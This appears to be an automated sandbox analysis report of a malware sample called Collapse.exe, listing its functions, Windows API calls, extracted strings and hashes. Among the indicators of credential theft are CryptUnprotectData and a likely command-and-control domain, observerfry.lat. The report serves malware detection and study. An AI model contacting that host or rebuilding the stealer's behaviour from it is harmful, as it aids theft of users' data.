Instruction Fuzzy Hash: 0921C571604215AF9F10AF65C885A6BB7ACFFC63747104A28F899D7251E731EC1097E0

Function 00991652 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30410ee0d5689d451a31ce1b71d0c4688d22ba844b76b4dea74fd0fbfbef766b
Instruction ID: f83ada55bd7102be833cb29019b3858564928ff421068f3ab6f9ae0ecfa93734
Opcode Fuzzy Hash: 30410ee0d5689d451a31ce1b71d0c4688d22ba844b76b4dea74fd0fbfbef766b
Instruction Fuzzy Hash: 8021AE71608207AFDF20AFAD8C81E6A77ADBF803A47154924F91AD7251EB31EC5087A0

Function 009A1F7C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009A1F84

Part of subcall function 0099AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0099C6C1,?,00000000,-00000008), ref: 0099AED2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009A1FBC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009A1FDC

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f1aa585e3ac33a956454ea1e7a69e9c12e5bf7ca9bb3737ba74a55f4e4604511
Instruction ID: e01db617dc2de96ac16ee31e0b56fa74c191796400b66a2f66a613be6e4482fc
Opcode Fuzzy Hash: f1aa585e3ac33a956454ea1e7a69e9c12e5bf7ca9bb3737ba74a55f4e4604511
Instruction Fuzzy Hash: 3D1192B2509629BFAB3127B95C8DD7F696CDE8B3A57110525F805D2142FB34CD01E1F2

Function 00982A60 Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00982A8D
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,00981C8B), ref: 00982A9B
std::_Throw_Cpp_error.LIBCPMT ref: 00982AB4
std::_Throw_Cpp_error.LIBCPMT ref: 00982AF3

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: cce1503e1743435a8ac332bba8a8c3d98bcfa7a1707000b00079946d36e5fcb1
Instruction ID: 5a54e0038e347982ea2b8f78912c3a7d4cfdf97bf568912884ca40a62027f2ac
Opcode Fuzzy Hash: cce1503e1743435a8ac332bba8a8c3d98bcfa7a1707000b00079946d36e5fcb1
Instruction Fuzzy Hash: F621B4B4E042098FCB08EFA8C595BAEBBF5AF88300F01845DE459AB391D7389940CF51

Function 009AA470 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,009A9952,00000000,00000001,?,?,?,009A34B1,?,00000000,00000000), ref: 009AA487
GetLastError.KERNEL32(?,009A9952,00000000,00000001,?,?,?,009A34B1,?,00000000,00000000,?,?,?,009A2DF7,?), ref: 009AA493

Part of subcall function 009AA4E4: CloseHandle.KERNEL32(FFFFFFFE,009AA4A3,?,009A9952,00000000,00000001,?,?,?,009A34B1,?,00000000,00000000,?,?), ref: 009AA4F4

___initconout.LIBCMT ref: 009AA4A3

Part of subcall function 009AA4C5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009AA461,009A993F,?,?,009A34B1,?,00000000,00000000,?), ref: 009AA4D8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,009A9952,00000000,00000001,?,?,?,009A34B1,?,00000000,00000000,?), ref: 009AA4B8

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0cebcbcb74e3522ce529c8515d68fc93058f9b87c1700318180c61a970f44656
Instruction ID: de39ca83087c56a230fb24fdbbe98576912c5c357d8b7b5c73f3b53caca9d4aa
Opcode Fuzzy Hash: 0cebcbcb74e3522ce529c8515d68fc93058f9b87c1700318180c61a970f44656
Instruction Fuzzy Hash: B1F0F836114625BBCF222F91ED09A897FA6EB8A3B1B014610FA1D95131C772C920FB95

Function 0098EFA7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0098EFB9
GetCurrentThreadId.KERNEL32 ref: 0098EFC8
GetCurrentProcessId.KERNEL32 ref: 0098EFD1
QueryPerformanceCounter.KERNEL32(?), ref: 0098EFDE

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 39156526d013c5939ddd547706780e8e2e533fc6a3c7fe98834e01bf8bcc8b5a
Instruction ID: 02ef57a627ba6cd384518eb4cce8c2ddd8d07963e4147a52715e947db56f303d
Opcode Fuzzy Hash: 39156526d013c5939ddd547706780e8e2e533fc6a3c7fe98834e01bf8bcc8b5a
Instruction Fuzzy Hash: E1F0B270C5020CEBCB00DFB4CA4898EBBF8EF1C210B914A96A412E7151E730AB44EB50

Function 0098A4D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 0098A631
_strcspn.LIBCMT ref: 0098A65F

Strings

@, xrefs: 0098A92F

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: d52fc1e353bc9c61c656d4b68a166f2a4af9bb1a0034f01dcfbed558bb60ff87
Instruction ID: ab9a41d79421fe0c98ffbbac8c8084e8548730c990f4f1381dd1dc93f8d8addb
Opcode Fuzzy Hash: d52fc1e353bc9c61c656d4b68a166f2a4af9bb1a0034f01dcfbed558bb60ff87
Instruction Fuzzy Hash: 4D32C3B49042698FDB14EF64C981B9EFBF1BF88300F0585AAE849A7351D734AA85CF51

Function 0099F766 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(00000000,?,0099D392), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000,?,?,00000028,00997816), ref: 0099B059

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0099509A,?,?,?,00000055,?,-00000050,?,?,?), ref: 0099F825
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0099509A,?,?,?,00000055,?,-00000050,?,?), ref: 0099F85C

Strings

utf8, xrefs: 0099F92E

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 888aac03f5e9c7bb09bef247aace0b430ded86655de6a60515a3b5bbb06ea4b3
Instruction ID: 8dd2fa465fe721c1bfc98ea383053440a121b6d5761faf21ac3a9327fe599d99
Opcode Fuzzy Hash: 888aac03f5e9c7bb09bef247aace0b430ded86655de6a60515a3b5bbb06ea4b3
Instruction Fuzzy Hash: D351F672600706BADF24AB7D8C62BABF3ACEF45700F150439F956D7182FB74E94086A1

Function 0099A7E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0099A6E1,?,?,00000000,00000000,00000000,?), ref: 0099A805

Strings

RCC, xrefs: 0099A81F
MOC, xrefs: 0099A817

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dfef1f434b540e33f5edb6d6d9858d116301965bff511b70442060ed286b3869
Instruction ID: 8791479af9d9fe44bd555f541679f79658a543d4e769780faacac6cdd32c8f17
Opcode Fuzzy Hash: dfef1f434b540e33f5edb6d6d9858d116301965bff511b70442060ed286b3869
Instruction Fuzzy Hash: FF418871900209AFCF16DF99CD81AEEBBB9FF48300F1581A9F90567221D3359951DB92

Function 0099A04C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0099A2C3

Strings

csm, xrefs: 0099A356
csm, xrefs: 0099A2E5

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: b5f77af4bfcdce75871b8caad13deba1a10c6d7c40172b03f7f334ae3c141014
Instruction ID: 21f2e0c7d103808849ff106f09ec18cfef82a680fefc78a662c42662bfd089ff
Opcode Fuzzy Hash: b5f77af4bfcdce75871b8caad13deba1a10c6d7c40172b03f7f334ae3c141014
Instruction Fuzzy Hash: 4831CD32400219EBCF228F5CCC429BE7B6AFF49715B18865AF85849221C336DCA1DBC3

Analysis Process: Collapse.exePID: 5924, Parent PID: 6672COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	34.8%
Total number of Nodes:	356
Total number of Limit Nodes:	19

Executed Functions

Function 004118D0 Relevance: 49.2, APIs: 2, Strings: 25, Instructions: 1981COMMON

Download Yara Rule

Strings

D, xrefs: 004131A9
GI, xrefs: 00412B3B
!, xrefs: 00411B8F
Ok, xrefs: 004121A8
GI, xrefs: 00412B45
H], xrefs: 00412E13
tL, xrefs: 00412916
0\, xrefs: 00411AED
], xrefs: 00412D9B
R, xrefs: 00412283
<, xrefs: 00412319
], xrefs: 00412D73
], xrefs: 00412DA5
2], xrefs: 00412E77
D, xrefs: 004135FE
I7, xrefs: 00412D0C
1], xrefs: 00412E81
O], xrefs: 00412E59
=], xrefs: 00412E63
[r, xrefs: 00411BF9
Wo, xrefs: 00411EB1
B], xrefs: 00412DD7
N], xrefs: 00412DE1
], xrefs: 00412D87
`, xrefs: 0041275E

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: !$0\$1]$2]$=]$B]$D$D$GI$GI$H]$I7$N]$O]$Ok$R$Wo$[r$`$tL$<$]$]$]$]
API String ID: 0-3810882205
Opcode ID: 8bcf170c79f42b2c4dd93db230ae5a1c0c32752b56985c1029db55e4b2e3d0e5
Instruction ID: 26e37b5a27921351f131a8d65d8dd6bf57fb013c5090a7881b03709181e5621c
Opcode Fuzzy Hash: 8bcf170c79f42b2c4dd93db230ae5a1c0c32752b56985c1029db55e4b2e3d0e5
Instruction Fuzzy Hash: A703AD7161C3508BD328DF28C5853AFB7E1AFC5310F158A2EE9D997391E77889818B4B

Function 00438C90 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 525
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044368C,00000000,00000001,0044367C,00000000), ref: 00438E40
SysAllocString.OLEAUT32(61B56187), ref: 00438EE2
CoSetProxyBlanket.COMBASE(1DC04096,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438F20
SysAllocString.OLEAUT32(61B56187), ref: 00438F7D
SysAllocString.OLEAUT32(3E123E2D), ref: 0043904A
VariantInit.OLEAUT32(5B745B4F), ref: 004390B8

Strings

d>o>, xrefs: 00438F9F
v>, xrefs: 00438FE7
f>>, xrefs: 00438FA7
C, xrefs: 00438DF2
2>6>, xrefs: 00438FAF
\, xrefs: 00438DFA
O[t[, xrefs: 00438CC0
7>c>, xrefs: 00438FB7
3>$>, xrefs: 00438FBF

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: 2>6>$3>$>$7>c>$C$O[t[$\$d>o>$f>>$v>
API String ID: 65563702-2290779530
Opcode ID: 38e3d282e63bcbfb1644009ead8865c251bf27a565a09847d5bf744115630eea
Instruction ID: c0e79de85990c71ab815b91cf48e4bfa203ec5810b040c1c91de88aa8a84c684
Opcode Fuzzy Hash: 38e3d282e63bcbfb1644009ead8865c251bf27a565a09847d5bf744115630eea
Instruction Fuzzy Hash: 8C02DF72A08301ABD710DF64CC85B6BB7A6EFC9714F14892DF581AB390D779D805CB8A

Function 00422870 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00422970
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 004229DD

Strings

diJ, xrefs: 00422E96
LQL, xrefs: 00422DCE
,,=,, xrefs: 00422E2A
*,=,, xrefs: 00422E4A

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: *,=,$,,=,$diJ$LQL
API String ID: 237503144-2531928868
Opcode ID: 841c2c15685187bd954a2d995779f68ece85c9bd557ea18b83c4609880cd3a89
Instruction ID: e81b2ff4bd20acc539124ec0c676da8b120a63586ebe534c2a7055d2906807d5
Opcode Fuzzy Hash: 841c2c15685187bd954a2d995779f68ece85c9bd557ea18b83c4609880cd3a89
Instruction Fuzzy Hash: 8CF121B66183148FC314DF54E98162BB7E1FFC6344F04896DE5C59B360E7B89A09CB8A

Function 004104E7 Relevance: 11.1, APIs: 1, Strings: 5, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 00410782

Strings

7, xrefs: 00410C81
di, xrefs: 004108A3
, xrefs: 00410799
6L, xrefs: 00410C8B
rj, xrefs: 00410AEA

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 6L$7$di$rj$
API String ID: 237503144-3659263430
Opcode ID: 5a11074f47a8175fa62817934415b2d3420978d561d6e4037c068776ddd5e059
Instruction ID: 93c5423282e88211a1001a396d865792dd41de102bbe3f695b7f2f8a3b7159a9
Opcode Fuzzy Hash: 5a11074f47a8175fa62817934415b2d3420978d561d6e4037c068776ddd5e059
Instruction Fuzzy Hash: 48328C75A0D3408BC364AF79C5813EFBBE0AF84354F14892FE5D997391DA7889818B4B

Function 004085D0 Relevance: 7.8, APIs: 5, Instructions: 312
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004085F4
GetCurrentThreadId.KERNEL32 ref: 004085FE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 0040875A
GetForegroundWindow.USER32 ref: 00408887

Part of subcall function 0040B3B0: FreeLibrary.KERNEL32(00408981), ref: 0040B3B6
Part of subcall function 0040B3B0: FreeLibrary.KERNEL32 ref: 0040B3D7

ExitProcess.KERNEL32 ref: 0040899A

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 3676751680-0
Opcode ID: 3501a65e4930fe3fa56a037192b4047e99a07fb4919e639947ba2e74cc683e01
Instruction ID: ad6200de4210d9a04599fce77ba0fdf2601055967606580d5498285a901ef58c
Opcode Fuzzy Hash: 3501a65e4930fe3fa56a037192b4047e99a07fb4919e639947ba2e74cc683e01
Instruction Fuzzy Hash: B7A10776B443044BC308EF69DD9136AF6D6ABC8310F0DD43EA885DB395EEBC9D058685

Function 0040D643 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040D64A
CoUninitialize.COMBASE ref: 0040DACE

Strings

observerfry.lat, xrefs: 0040DA91, 0040DF28

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: Uninitialize
String ID: observerfry.lat
API String ID: 3861434553-3462519685
Opcode ID: 5c3e07459faded43a0ba1ce952c9247a7474cd129e8cbe0b407761016ea04f75
Instruction ID: 5cdfe13503f33a145c73b8f78b442bb27e6af6bd9d2eacdeba7417bbc26f7e4a
Opcode Fuzzy Hash: 5c3e07459faded43a0ba1ce952c9247a7474cd129e8cbe0b407761016ea04f75
Instruction Fuzzy Hash: A34225756057418FD328CF39C990622BBE3FF9630071996ADD4868F7A6DB39E806CB44

Function 0042C4F6 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042C5BD

Strings

UzUy, xrefs: 0042C7B1

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: UzUy
API String ID: 3960555810-1793371523
Opcode ID: 330b5ba03eeb65544f05e8023bc46f0aadf77a918e824a83d5395c3f738fefd6
Instruction ID: a9889ccade49914761779446ee1e12bcc6830a2b46294e2a06ffadc3a624b005
Opcode Fuzzy Hash: 330b5ba03eeb65544f05e8023bc46f0aadf77a918e824a83d5395c3f738fefd6
Instruction Fuzzy Hash: 36C1D3B56047428FD729CF29C490766BBE2BF9A300F18C56EC4DAC77A1DB39A446CB44

Function 004164FD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 143
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00418C23

Strings

OzA, xrefs: 00418C34

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: OzA
API String ID: 834300711-1351414677
Opcode ID: 980f7e20317f797d1d84ed87af443f0ef7f9ef54927ba0c62178187bca58ab68
Instruction ID: 9c97545d1ec6c4f6ccf0580d26e68663f345747e0ab963785eb3c0ade874f854
Opcode Fuzzy Hash: 980f7e20317f797d1d84ed87af443f0ef7f9ef54927ba0c62178187bca58ab68
Instruction Fuzzy Hash: FB51A0B150C3429FC724CF18C4916ABB7E1AF94344F19492EE4DA87342DB38ED49CB96

Function 0042DCFD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0042DD9E

Strings

BO, xrefs: 0042DD06

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: ComputerName
String ID: BO
API String ID: 3545744682-2594093272
Opcode ID: b08c22ce4b7c3fcd8b8aadc2e3f094a6628319684588e68ebdd772a665029c7b
Instruction ID: 5ad6301c80e653c644220d7d2e292410a4effc3e0121b6233004abf2f008a940
Opcode Fuzzy Hash: b08c22ce4b7c3fcd8b8aadc2e3f094a6628319684588e68ebdd772a665029c7b
Instruction Fuzzy Hash: BF11C1716116028BD708CF34D861776B7E1EF92310F2994ACD48BCB766EA38A851CB18

Function 0043E720 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043E7B0
D]+\, xrefs: 0043E720

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: D]+\$D]+\
API String ID: 0-1297882787
Opcode ID: 0cec99a0f7962a11b2553aabe7c257a624aada78e5c5555c9192cf4879ffc788
Instruction ID: 69279f5087e4f62d0d426cd9275475f8cf196777a585662fe09cdae49935fb4d
Opcode Fuzzy Hash: 0cec99a0f7962a11b2553aabe7c257a624aada78e5c5555c9192cf4879ffc788
Instruction Fuzzy Hash: A2216A38505111DBCB1CAB06DC5073FB36AEB09714F25693ED893973D1D768AC10878D

Function 0043E0F0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004412BD,?,00000018,?,?,00000018,?,?,?), ref: 0043E11E

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040B8A4 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

AbGb, xrefs: 0040B900

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: AbGb
API String ID: 0-1429939900
Opcode ID: eb83c321434e39099f31fb5903d0729f5f0246303bc02a6d3ad1a735d05c9189
Instruction ID: 2a1a4ac01f946402103d47271ce3cad55cc9447f86df647dd0cf4f9e0c2e7ece
Opcode Fuzzy Hash: eb83c321434e39099f31fb5903d0729f5f0246303bc02a6d3ad1a735d05c9189
Instruction Fuzzy Hash: 4C317C76B516158BDB08CFA8CDD1BEEB7B2EF88300F199079DA01E7394D67898058B58

Function 0043C210 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

